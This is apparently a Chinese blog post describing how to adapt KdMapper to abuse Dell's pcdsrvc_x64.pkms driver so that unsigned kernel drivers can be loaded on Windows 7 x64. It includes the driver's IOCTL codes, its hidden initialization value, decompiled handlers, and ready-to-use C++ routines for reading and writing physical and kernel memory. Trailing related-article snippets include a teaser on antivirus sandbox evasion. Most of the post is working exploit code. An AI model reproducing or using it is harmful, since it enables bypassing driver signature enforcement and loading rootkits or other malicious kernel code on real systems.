KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | pcdsrvc_x64.pkms |
时间戳 | 5B0478B6 |
MD5 | C5632596C83FFB4C704AFA2A7504A335 |
文件版本 | 6.2.3.0 |
设备名称 | 和驱动服务同名 |
初始化驱动 | 0x222004 |
获取物理地址 | 0x222080 |
读物理内存 | 0x222084 |
写物理内存 | 0x222088 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);if (!DestinationString.Buffer)return 0xC000009A;DestinationString.MaximumLength = RegistryPath->Length + 2;RtlCopyUnicodeString(&DestinationString, RegistryPath);DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;return CreateDevice(DriverObject);
}
可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{NTSTATUS result; // eaxint v3; // ediunsigned int v4; // eax__int64 v5; // rcxint v6; // esi_UNICODE_STRING* v7; // rdiWCHAR* v8; // raxstruct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREFUNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREFstruct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREFUNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREFUNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF_UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");RtlInitUnicodeString(&Source, L"\\DosDevices\\");Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);if (!Destination.Buffer)return 0xC000009A;Destination.Length = 0;Destination.MaximumLength = 538;RtlAppendUnicodeStringToString(&Destination, &Source);v3 = -1;v4 = ::DestinationString.Length >> 1;v5 = v4;while (::DestinationString.Buffer[v5] != 92){--v4;if (--v5 < 0)goto LABEL_8;}v3 = v4;
LABEL_8:if (v3 == -1)return 0xC0000001;RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");v10.Buffer = &::DestinationString.Buffer[v3 + 1];v10.Length = ::DestinationString.Length - 2 * (v3 + 1);v10.MaximumLength = v10.Length - 1;RtlAppendUnicodeStringToString(&Destination, &v10);result = WdmlibIoCreateDeviceSecure(DriverObject,0x28u,&Destination,0x22u,0x100u,0,&DefaultSDDLString,0i64,&DeviceObject);v6 = result;if (result >= 0){RtlFreeUnicodeString(&Destination);v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;v7 = v15;*(_QWORD*)&v15->Length = DeviceObject;v7->Buffer = (PWSTR)DriverObject;v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);v7[1].Buffer = v8;if (v8){v7[1].MaximumLength = DestinationString.MaximumLength;RtlCopyUnicodeString(v7 + 1, &DestinationString);}else{v6 = 0xC000009A;}if (v6 < 0){if (v7[1].Buffer)RtlFreeUnicodeString(v7 + 1);IoDeleteDevice(DeviceObject);}result = v6;}return result;
}
从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // r9unsigned int nBytesReturn; // edxULONG nIoControlCode; // ecxunsigned int ntStatus; // ebxDWORD* dwInitailizeCode; // raxpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;if (nIoControlCode != 0x222004 && !bInitialized){ntStatus = 0xC0000022;pIrp->IoStatus.Information = 0i64;LABEL_18:LOBYTE(nBytesReturn) = 0;goto LABEL_36;}if (nIoControlCode - 0x222000 <= 0x7C){ntStatus = 0;if (nIoControlCode == 0x222000){if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4){*(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;LABEL_16:nBytesReturn = 4;goto LABEL_17;}}else{if (nIoControlCode != 0x222004){ntStatus = 0xC0000010;LABEL_17:pIrp->IoStatus.Information = nBytesReturn;goto LABEL_18;}if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4&& pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动{dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;if (*dwInitailizeCode == 0xA1B2C3D4){bInitialized = 1;*dwInitailizeCode = 0;}else{*dwInitailizeCode = 1;}goto LABEL_16;}}ntStatus = 0xC000000D;goto LABEL_17;}if (nIoControlCode - 0x222080 <= 0x7C)return MemoryOperation(pIrp);if (nIoControlCode - 0x222100 <= 0x7C)return sub_112C8(pIrp);if (nIoControlCode - 0x222180 <= 0x7C)return sub_13A44(pIrp);if (nIoControlCode - 0x222300 <= 0x7C)return sub_13B94(pIrp);if (nIoControlCode - 0x222380 <= 0x7C)return sub_11008(pIrp);if (nIoControlCode - 0x222680 <= 0x7C)return sub_11878(pIrp);if (nIoControlCode - 0x222700 <= 0x7C)return sub_121C4(pIrp);if (nIoControlCode - 0x222600 <= 0x7C)return sub_13D5C(pIrp);ntStatus = 0xC0000010;pIrp->IoStatus.Information = 0i64;
LABEL_36:pIrp->IoStatus.Status = ntStatus;IofCompleteRequest(pIrp, nBytesReturn);return ntStatus;
}
从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。
关于内存的操作是在 MemoryOperation 函数中。
3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // raxULONG_PTR nBytesReturn; // rdiunsigned int nInputBufferLength; // ecxULONG nOutputBufferLength; // er8int nControlCode; // edxint nControlCodeV7; // edxunsigned int ntStatus; // ebxPC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbpSIZE_T nMapSize; // rdxPVOID pAddressMapped; // r12unsigned int ntStatusV12; // eaxPHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREFpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0i64;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;nBytesMapped.QuadPart = 0i64;if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址{if (nInputBufferLength != 8 || nOutputBufferLength != 8)goto LABEL_18;ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);goto LABEL_17;}nControlCodeV7 = nControlCode - 4;if (!nControlCodeV7) // 0x222084 读取物理内存{if (nInputBufferLength < 0xD)goto LABEL_18;ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);LABEL_17:nBytesReturn = nBytesMapped.QuadPart;ntStatus = ntStatusV12;goto LABEL_19;}if (nControlCodeV7 != 4){ntStatus = 0xC0000010;goto LABEL_19;}if (nInputBufferLength < 0xD) // 0x222088 写入物理内存{LABEL_18:ntStatus = 0xC000000D;goto LABEL_19;}pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nMapSize = pInfo->Length;nBytesMapped = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);if (pAddressMapped){if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))nBytesReturn = pInfo->Length;elsentStatus = 0xC000000D;MmUnmapIoSpace(pAddressMapped, pInfo->Length);}else{ntStatus = 0xC0000001;}
LABEL_19:pIrp->IoStatus.Status = ntStatus;pIrp->IoStatus.Information = nBytesReturn;IofCompleteRequest(pIrp, 0);return ntStatus;
}
第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。
第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。
第 45 行到 67 行为写入物理内存,请求码为 0x222088。
3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{void* pAddressToMap; // rdi_MDL* pMdl; // rax_MDL* pMdl2; // rbxpAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);pMdl2 = pMdl;if (!pMdl)return 0xC0000001i64;MmProbeAndLockPages(pMdl, 1, IoReadAccess);*(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);MmUnlockPages(pMdl2);IoFreeMdl(pMdl2);*nBytesMapped = 8i64;return 0i64;
}
虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。
3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8unsigned int ntStatus; // ebxPVOID pAddressMapped; // rbpunsigned int nSize; // [rsp+38h] [rbp-20h]char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREFpInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nSize = pInfo->Length;nCopyAlign = pInfo->CopyAlign;pPhsicalAdressVar = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);if (!pAddressMapped)return 0xC0000001i64;if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign)){*nBytesMapped = nSize;}else{*nBytesMapped = 0i64;ntStatus = 0xC000000D;}MmUnmapIoSpace(pAddressMapped, nSize);return ntStatus;
}
3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{unsigned __int16 v5; // r10unsigned int v7; // eax__int64 v8; // rdxv5 = 0;if (!nCopyAlign){memmove(Destination, Source, nSize);return 1;}if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64)){v7 = nSize / 4;if (!(nSize % 4)){if (v7){do{v8 = v5++;*((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);} while (v5 < v7);}return 1;}}return 0;
}
在使用时只需要将第 5 个参数传 0 即实现 memmove。
3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends
3.9 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{......memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));static const char alphanum[] ="abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ";int len = rand() % 20 + 10;for (int i = 0; i < len; ++i)dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];......HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.1.2 修改后逻辑代码
参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:
HANDLE dell_driver::Load()
{......std::wstring strDeviceName;strDeviceName.append(L"\\\\.\\");strDeviceName.append(GetDriverNameW());HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.2 初始化驱动
参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}HANDLE dell_driver::Load()
{......ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");if (ntoskrnlAddr == 0) {Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}if (!dell_driver::InitializeDriver(result)){Log(L"[-] Failed to Initialize Driver" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
5. 代码实现
5.1 .h文件
#pragma pack(push, 1)typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO{PHYSICAL_ADDRESS PhysicalAddress;DWORD Length;BYTE CopyAlign;}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088#define INITIALIZE_CODE (0xA1B2C3D4)
5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL dell_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };PBYTE pWriteData = NULL;SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;__try {if (DoWrite) {pWriteData = (PBYTE)malloc(nBufferSize);if (pWriteData){RtlZeroMemory(pWriteData, nBufferSize);info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle,IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,pWriteData,(ULONG)nBufferSize,NULL,0);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");}}else{info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);}if (pWriteData){free(pWriteData);}SetLastError(dwError);return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI dell_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
6. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
7.特别提示
使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:

KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcds…...

python和go相互调用的两种方法
前言 Python 和 Go 语言是两种不同的编程语言,它们分别有自己的优势和适用场景。在一些项目中,由于团队内已有的技术栈或者某一部分业务的需求,可能需要 Python 和 Go 相互调用,以此来提升效率和性能。 性能优势 Go 通常比 Python 更高效&…...
c# 分部视图笔记
Html.Partial("**", 1) public ActionResult **(int page) { ViewBag.page page; return PartialView("**"); }...

Vue3最佳实践 第七章 TypeScript 中
Vue组件中TypeScript 在Vue组件中,我们可以使用TypeScript进行各种类型的设置,包括props、Reactive和ref等。下面,让我们详细地探讨一下这些设置。 设置描述设置props在Vue中,props本身就具有类型设定的功能。但如果你希望使用Ty…...

(三)行为模式:8、状态模式(State Pattern)(C++示例)
目录 1、状态模式(State Pattern)含义 2、状态模式的UML图学习 3、状态模式的应用场景 4、状态模式的优缺点 (1)优点 (2)缺点 5、C实现状态模式的实例 1、状态模式(State Pattern&#x…...
nginx的配置文件概述及简单demo(二)
默认配置文件 当安装完nginx后,它的目录下通常有默认的配置文件 #user nobody; worker_processes 1;#error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info;#pid logs/nginx.pid;events {worker_connection…...

Apollo Planning2.0决策规划算法代码详细解析 (2): vscode gdb单步调试环境搭建
前言: apollo planning2.0 在新版本中在降低学习和二次开发成本上进行了一些重要的优化,重要的优化有接口优化、task插件化、配置参数改造等。 GNU symbolic debugger,简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端…...

flex 布局:元素/文字靠右
前言 略 使用flex的justify-content属性控制元素的摆放位置 靠右 <view class"more">展开更多<text class"iconfont20231007 icon-zhankai"></text></view>.more {display: flex;flex-direction: row;color: #636363;justify-co…...

java基础-第1章-走进java世界
一、计算机基础知识 常用的DOS命令 二、计算机语言介绍 三、Java语言概述 四、Java环境的搭建 JDK安装图解 环境变量的配置 配置环境变量意义 配置环境变量步骤 五、第一个Java程序 编写Java源程序 编译Java源文件 运行Java程序 六、Java语言运行机制 核心机制—Java虚拟机 核…...
jvm 堆内存 栈内存 大小设置
4种方式配置不同作用域的jvm的堆栈内存。 1、Eclise 中设置jvm内存: 改动eclipse的配置文件,对全部project都起作用 改动eclipse根文件夹下的eclipse.ini文件 -vmargs //虚拟机设置 -Xms40m //初始内存 -Xmx256m //最大内存 -Xmn16m //最小内存 -XX:PermSize=128M //非堆内…...

免杀对抗-反沙盒+反调试
反VT-沙盒检测-Go&Python 介绍: 近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说…...
QTimer类的使用方法
本文介绍QTimer类的使用方法。 1.单次触发 在某些情况下,定时器只运行一次,可使用单次触发方式。 QTimer *timer new QTimer(this); connect(timer, &QTimer::timeout, this, &MainWindow::timeout); timer->setSingleShot(true); timer-…...
(三)行为模式:9、空对象模式(Null Object Pattern)(C++示例)
目录 1、空对象模式(Null Object Pattern)含义 2、空对象模式的主要涉及以下几个角色 3、空对象模式的应用场景 4、空对象模式的优缺点 (1)优点 (2)缺点 5、C实现空对象模式的实例 1、空对象模式&am…...

Django实战项目-学习任务系统-用户登录
第一步:先创建一个Django应用程序框架代码 1,先创建一个Django项目 django-admin startproject mysite将创建一个目录,其布局如下:mysite/manage.pymysite/__init__.pysettings.pyurls.pyasgi.pywsgi.py 2,再创建一个…...

【动手学深度学习-Pytorch版】Transformer代码总结
本文是纯纯的撸代码讲解,没有任何Transformer的基础内容~ 是从0榨干Transformer代码系列,借用的是李沐老师上课时讲解的代码。 本文是根据每个模块的实现过程来进行讲解的。如果您想获取关于Transformer具体的实现细节(不含代码)可…...

做外贸独立站选Shopify还是WordPress?
现在确实会有很多新人想做独立站,毕竟跨境电商平台内卷严重,平台规则限制不断升级,脱离平台“绑架”布局独立站,才能获得更多流量、订单、塑造品牌价值。然而,在选择建立外贸独立站的过程中,选择适合的建站…...

echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{}才起作用,如果在series里写的不起作用就写到全局里
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{show:true}才起作用,如果在series里写的不起作用就写到全局里 series里写tooltip不起作用,鼠标悬浮在echarts图表上时不显示提示 你需要…...

jmeter分布式压测
一、什么是压力测试? 压力测试(Stress Test),也称为强度测试、负载测试,属于性能测试的范畴。 压力测试是模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行被测软件系统ÿ…...

consulmanage部署
一、部署consul 使用yum方式部署consul yum install -y yum-utils yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo yum -y install consul 执行以下命令获取uuid密钥并记录下来 uuidgen 编辑consul配置文件 vi /etc/consul.d/consul.h…...

大数据软件项目的验收流程
大数据软件项目的验收流程是确保项目交付符合预期需求和质量标准的关键步骤。以下是一般的大数据软件项目验收流程,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1.项目验收计划制定: 在…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...

练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...

高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...

WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
